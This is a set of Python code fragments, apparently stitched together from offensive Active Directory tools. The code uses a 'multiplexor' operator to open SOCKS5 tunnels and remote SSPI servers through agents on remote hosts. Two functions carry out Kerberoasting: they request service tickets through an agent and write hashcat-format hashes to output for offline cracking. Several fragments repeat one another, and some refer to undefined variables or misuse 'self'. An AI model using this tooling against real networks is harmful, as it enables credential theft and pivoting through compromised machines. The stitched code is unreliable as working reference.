async def create_proxy(connection_string, agent_id): try: #creating operator and connecting to multiplexor server self.operator = MultiplexorOperator(con_str, reconnect_tries = 1) await self.operator.connect() #creating socks5 proxy server_info = await self.operator.start_socks5(agent_id) asyncio.create_task(self.operator.terminate()) return server_info except Exception as e: asyncio.create_task(self.operator.terminate()) return e
async def connect(self): """ """ #hiding the import, so you'll only need to install multiplexor when actually using it from multiplexor.operator import MultiplexorOperator #creating connection string if self.target.proxy.type == SMBProxyType.MULTIPLEXOR: con_str = 'ws://%s:%s' % (self.target.proxy.ip, self.target.proxy.port) else: con_str = 'wss://%s:%s' % (self.target.proxy.ip, self.target.proxy.port) #creating operator and connecting to multiplexor server self.operator = MultiplexorOperator(con_str) await self.operator.connect() #creating socks5 proxy server_info = await self.operator.start_socks5( self.target.proxy.agent_id) print(server_info) #copying the original target, then feeding it to socks5proxy object. it will hold the actual socks5 proxy server address we created before tp = SMBProxy() tp.ip = server_info['listen_ip'] tp.port = server_info['listen_port'] tp.timeout = self.target.proxy.timeout tp.type = SMBProxyType.SOCKS5 newtarget = copy.deepcopy(self.target) newtarget.proxy = tp return Socks5ProxyConnection(target=newtarget)
async def amain(): import argparse parser = argparse.ArgumentParser(description='auto collector for MP') #parser.add_argument('-v', '--verbose', action='count', default=0, help='Increase verbosity, can be stacked') parser.add_argument('--listen-ip', default='127.0.0.1', help='Socks service listen IP. Default: 127.0.0.1') parser.add_argument('--listen-port', type=int, default=0, help='Socks5 service port. Default: random') parser.add_argument('multiplexor', help='multiplexor connection string in URL format') parser.add_argument('agentid', help='Agent ID on the socks server to be opened') args = parser.parse_args() logging.basicConfig(level=logging.DEBUG) logging.getLogger('websockets.server').setLevel(logging.ERROR) logging.getLogger('websockets.client').setLevel(logging.ERROR) logging.getLogger('websockets.protocol').setLevel(logging.ERROR) #creating operator and connecting to multiplexor server operator = MultiplexorOperator(args.multiplexor) #logging_sink = logger await operator.connect() #creating socks5 proxy server_info = await operator.start_socks5(args.agentid, listen_ip=args.listen_ip, listen_port=args.listen_port) print('Created SOCKS5 proxy tunneling to %s' % args.agentid) print('Server IP : %s' % server_info['listen_ip']) print('Server port: %s' % server_info['listen_port']) print('Server auth: %s' % server_info['auth_type']) print('Close this to stop the service') await operator.disconnected_evt.wait()
async def kerberoast_multiplexor(self): try: from multiplexor.operator.external.sspi import KerberosSSPIClient from multiplexor.operator import MultiplexorOperator except ImportError as error: return None, Exception('Failed to import multiplexor module! You will need to install multiplexor to get this working!') try: ws_logger = logging.getLogger('websockets') ws_logger.setLevel(100) url_e = urlparse(self.kerb_url) agentid = url_e.path.replace('/','') operator = MultiplexorOperator(self.kerb_url) await operator.connect() #creating virtual sspi server for uid in self.targets_spn: try: server_info = await operator.start_sspi(agentid) #print(server_info) sspi_url = 'ws://%s:%s' % (server_info['listen_ip'], server_info['listen_port']) #print(sspi_url) ksspi = KerberosSSPIClient(sspi_url) await ksspi.connect() apreq, err = await ksspi.authenticate(self.targets_spn[uid].get_formatted_pname()) if err is not None: logger.debug('[SPN-MP] error occurred while roasting %s: %s' % (self.targets_spn[uid].get_formatted_pname(), err)) continue unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq) aprep = AP_REQ.load(unwrap.data[2:]).native t = KerberoastTable.from_hash(self.ad_id, uid, TGSTicket2hashcat(aprep)) self.session.add(t) self.total_targets_finished += 1 if self.progress_queue is not None: msg = GathererProgress() msg.type = GathererProgressType.KERBEROAST msg.msg_type = MSGTYPE.PROGRESS msg.adid = self.ad_id msg.domain_name = self.domain_name msg.total = self.total_targets msg.total_finished = self.total_targets_finished msg.step_size = 1 await self.progress_queue.put(msg) except Exception as e: logger.debug('[SPN-MP] Error while roasting %s. %s' % (uid, e)) finally: try: await ksspi.disconnect() except: pass self.session.commit() except Exception as e: return None, e
async def connect(self, is_kerberos = False): """ """ #hiding the import, so you'll only need to install multiplexor only when actually using it from multiplexor.operator import MultiplexorOperator con_str = self.target.proxy.target.get_server_url() #creating operator and connecting to multiplexor server self.operator = MultiplexorOperator(con_str, logging_sink = logger) await self.operator.connect() #creating socks5 proxy server_info = await self.operator.start_socks5(self.target.proxy.target.agent_id) await self.operator.terminate() #print(server_info) if is_kerberos is False: #copying the original target, then feeding it to socks5proxy object. it will hold the actual socks5 proxy server address we created before tp = MSLDAPProxy() tp.target = SocksTarget() tp.target.version = SocksServerVersion.SOCKS5 tp.target.server_ip = server_info['listen_ip'] tp.target.server_port = server_info['listen_port'] tp.target.is_bind = False tp.target.proto = SocksProtocol.TCP tp.target.timeout = self.target.timeout tp.target.buffer_size = 4096 tp.target.endpoint_ip = self.target.host tp.target.endpoint_port = self.target.port tp.target.endpoint_timeout = None # TODO: maybe implement endpoint timeout in the msldap target? tp.type = MSLDAPProxyType.SOCKS5 newtarget = copy.deepcopy(self.target) newtarget.proxy = tp return SocksProxyConnection(target = newtarget) else: kt = copy.deepcopy(self.target) kt.proxy = KerberosProxy() kt.proxy.target = SocksTarget() kt.proxy.target.version = SocksServerVersion.SOCKS5 kt.proxy.target.server_ip = server_info['listen_ip'] kt.proxy.target.server_port = server_info['listen_port'] kt.proxy.target.is_bind = False kt.proxy.target.proto = SocksProtocol.TCP kt.proxy.target.timeout = 10 kt.proxy.target.buffer_size = 4096 kt.proxy.target.endpoint_ip = self.target.ip kt.proxy.target.endpoint_port = self.target.port #kt.proxy.creds = copy.deepcopy(self.target.proxy.auth) return kt
async def spnmultiplexor(args): try: from multiplexor.operator.external.sspi import KerberosSSPIClient from multiplexor.operator import MultiplexorOperator except ImportError as error: print('Failed to import multiplexor module! You will need to install multiplexor to get this working!') logger = logging.getLogger('websockets') logger.setLevel(100) if args.verbose > 2: logger.setLevel(logging.INFO) try: logging.debug('[SPN-MP] input URL: %s' % args.mp_url) url_e = urlparse(args.mp_url) agentid = url_e.path.replace('/','') logging.debug('[SPN-MP] agentid: %s' % agentid) targets = get_targets_from_file(args) targets += get_target_from_args(args) if len(targets) == 0: raise Exception('No targets were specified! Either use target file or specify target via cmdline') logging.debug('[SPN-MP] loaded %s targets' % len(targets)) operator = MultiplexorOperator(args.mp_url) await operator.connect() #creating virtual sspi server results = [] for target in targets: server_info = await operator.start_sspi(agentid) #print(server_info) sspi_url = 'ws://%s:%s' % (server_info['listen_ip'], server_info['listen_port']) #print(sspi_url) ksspi = KerberosSSPIClient(sspi_url) await ksspi.connect() apreq, err = await ksspi.authenticate(target.get_formatted_pname()) if err is not None: logging.debug('[SPN-MP] error occurred while roasting %s: %s' % (target.get_formatted_pname(), err)) continue unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq) aprep = AP_REQ.load(unwrap.data[2:]).native results.append(TGSTicket2hashcat(aprep)) if args.out_file: with open(args.out_file, 'w', newline = '') as f: for thash in results: f.write(thash + '\r\n') else: for thash in results: print(thash) except Exception as e: logging.exception('[SPN-MP] exception!')
def __init__(self, connection_string, sqlite_folder_path, logger = None, parallel_cnt = None, progress_queue = None, progress_file_name = None, start_ui = False): MultiplexorOperator.__init__(self, connection_string, logger = logger) self.progress_queue = progress_queue self.progress_file_name = progress_file_name self.agent_tracker = {} #agentid -> info self.agent_info_tracker = {} #info -> agentid self.collection_tasks = {} #agentid -> (collection_task, collect obj) self.plugin_tracker = {} #self.db_conn = db_conn self.sqlite_folder_path = sqlite_folder_path self.parallel_cnt = parallel_cnt self.sqlite_progress_folder = None self.sqlite_finished_folder = None self.start_ui = start_ui try: self.sqlite_progress_folder = Path(self.sqlite_folder_path).joinpath('progress') self.sqlite_finished_folder = Path(self.sqlite_folder_path).joinpath('finished') self.sqlite_progress_folder.mkdir(parents=True, exist_ok=True) self.sqlite_finished_folder.mkdir(parents=True, exist_ok=True) except Exception as e: logging.exception('Failed to create folder structure! Will stop now')
async def create_sspi_server(connection_string, agent_id): try: #creating operator and connecting to multiplexor server self.operator = MultiplexorOperator(connection_string, reconnect_tries=1) await self.operator.connect() #creating sspi server server_info = await self.operator.start_sspi(agent_id) await self.operator.terminate() return server_info except Exception as e: await self.operator.terminate() return e
async def start_remote_kerberos(self): try: #print(self.settings.get_url()) #print(self.settings.agent_id) self.operator = MultiplexorOperator(self.settings.get_url()) await self.operator.connect() #creating virtual sspi server server_info = await self.operator.start_sspi(self.settings.agent_id) #print(server_info) sspi_url = 'ws://%s:%s' % (server_info['listen_ip'], server_info['listen_port']) #print(sspi_url) self.ksspi = KerberosSSPIClient(sspi_url) await self.ksspi.connect() except Exception as e: import traceback traceback.print_exc() return None
async def start_remote_sspi(self): try: #print(self.settings.get_url()) self.operator = MultiplexorOperator(self.settings.get_url(), logging_sink=logger) await self.operator.connect() #creating virtual sspi server server_info = await self.operator.start_sspi(self.settings.agent_id ) #print(server_info) sspi_url = 'ws://%s:%s' % (server_info['listen_ip'], server_info['listen_port']) #print(sspi_url) self.sspi = SSPINTLMClient(sspi_url) await self.sspi.connect() return True, None except Exception as e: import traceback traceback.print_exc() return None, e
class Proxyhandler: def __init__(self, target): self.target = target def select(self): if self.target.proxy is None: return self.target if self.target.proxy.proxy_type in [ LDAPProxyType.SOCKS5, LDAPProxyType.SOCKS5_SSL ]: import socket try: from socks5line.socks5line import Socks5LineProxyServer, SOCKS5Line except ImportError: raise Exception( 'Failed to import socks5line proxy emulator! Install it then retry!' ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('127.0.0.1', 0)) new_port = s.getsockname()[1] proxy = Socks5LineProxyServer() proxy.ip = self.target.proxy.ip proxy.port = self.target.proxy.port proxy.timeout = self.target.proxy.timeout proxy.username = self.target.proxy.username proxy.password = self.target.proxy.secret sl = SOCKS5Line(proxy, self.target.host, self.target.port) sl.run_newthread(s) newtarget = copy.deepcopy(self.target) newtarget.proxy = None newtarget.host = '127.0.0.1' newtarget.port = new_port return newtarget elif self.target.proxy.proxy_type in [ LDAPProxyType.MULTIPLEXOR, LDAPProxyType.MULTIPLEXOR_SSL ]: import socket try: from socks5line.socks5line import Socks5LineProxyServer, SOCKS5Line except ImportError: raise Exception( 'Failed to import socks5line proxy emulator! Install it then retry!' ) try: from multiplexor.operator import MultiplexorOperator except ImportError: raise Exception( 'Failed to import multiplexor! Install it then retry!') async def create_proxy(connection_string, agent_id): try: #creating operator and connecting to multiplexor server self.operator = MultiplexorOperator(con_str, reconnect_tries=1) await self.operator.connect() #creating socks5 proxy server_info = await self.operator.start_socks5(agent_id) asyncio.create_task(self.operator.terminate()) return server_info except Exception as e: asyncio.create_task(self.operator.terminate()) return e #creating connection string if self.target.proxy.proxy_type == LDAPProxyType.MULTIPLEXOR: con_str = 'ws://%s:%s' % (self.target.proxy.ip, self.target.proxy.port) else: con_str = 'wss://%s:%s' % (self.target.proxy.ip, self.target.proxy.port) #because of URL stuff, this logic needs to be in place #if self.target.proxy.domain is None: # agent_id = self.target.proxy.username #else: # agent_id = self.target.proxy.domain print('proxy_connecting') server_info = asyncio.run( create_proxy(con_str, self.target.proxy.settings['agentid'][0])) print('socks5 server info %s' % server_info) if isinstance(server_info, Exception): raise Exception('Failed to create socks proxy Reason: %s ' % server_info) #copying the original target, then feeding it to socks5proxy object. it will hold the actual socks5 proxy server address we created before s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('127.0.0.1', 0)) new_port = s.getsockname()[1] proxy = Socks5LineProxyServer() proxy.ip = server_info['listen_ip'] proxy.port = server_info['listen_port'] proxy.timeout = self.target.proxy.timeout proxy.username = self.target.proxy.username proxy.password = self.target.proxy.secret sl = SOCKS5Line(proxy, self.target.host, self.target.port) sl.run_newthread(s) print('socks5 socks5line ready') newtarget = copy.deepcopy(self.target) newtarget.proxy = None newtarget.host = '127.0.0.1' newtarget.port = new_port return newtarget
async def connect(self, is_kerberos = False): """ """ try: #hiding the import, so you'll only need to install multiplexor when actually using it from multiplexor.operator import MultiplexorOperator #creating connection string #if self.target.proxy.type == SMBProxyType.MULTIPLEXOR: # con_str = 'ws://%s:%s' % (self.target.proxy.ip, self.target.proxy.port) #else: # con_str = 'wss://%s:%s' % (self.target.proxy.ip, self.target.proxy.port) con_str = self.target.proxy.target.get_server_url() #creating operator and connecting to multiplexor server self.operator = MultiplexorOperator(con_str, logging_sink = logger) await self.operator.connect() #creating socks5 proxy server_info = await self.operator.start_socks5(self.target.proxy.target.agent_id) await self.operator.terminate() #print(server_info) if is_kerberos is False: #copying the original target, then feeding it to socks5proxy object. it will hold the actual socks5 proxy server address we created before tp = SMBProxy() tp.target = SocksTarget() tp.target.version = SocksServerVersion.SOCKS5 tp.target.server_ip = server_info['listen_ip'] tp.target.server_port = server_info['listen_port'] tp.target.is_bind = False tp.target.proto = SocksProtocol.TCP tp.target.timeout = 10 tp.target.buffer_size = 4096 tp.target.endpoint_ip = self.target.ip tp.target.endpoint_port = self.target.port tp.target.endpoint_timeout = self.target.timeout tp.type = SMBProxyType.SOCKS5 newtarget = copy.deepcopy(self.target) newtarget.proxy = tp return SocksProxyConnection(target = newtarget), None else: kt = copy.deepcopy(self.target) kt.proxy = KerberosProxy() kt.proxy.target = SocksTarget() kt.proxy.target.version = SocksServerVersion.SOCKS5 kt.proxy.target.server_ip = server_info['listen_ip'] kt.proxy.target.server_port = server_info['listen_port'] kt.proxy.target.is_bind = False kt.proxy.target.proto = SocksProtocol.TCP kt.proxy.target.timeout = 10 kt.proxy.target.buffer_size = 4096 kt.proxy.target.endpoint_ip = self.target.ip kt.proxy.target.endpoint_port = self.target.port kt.proxy.creds = copy.deepcopy(self.target.proxy.auth) return kt, None except Exception as e: return None, e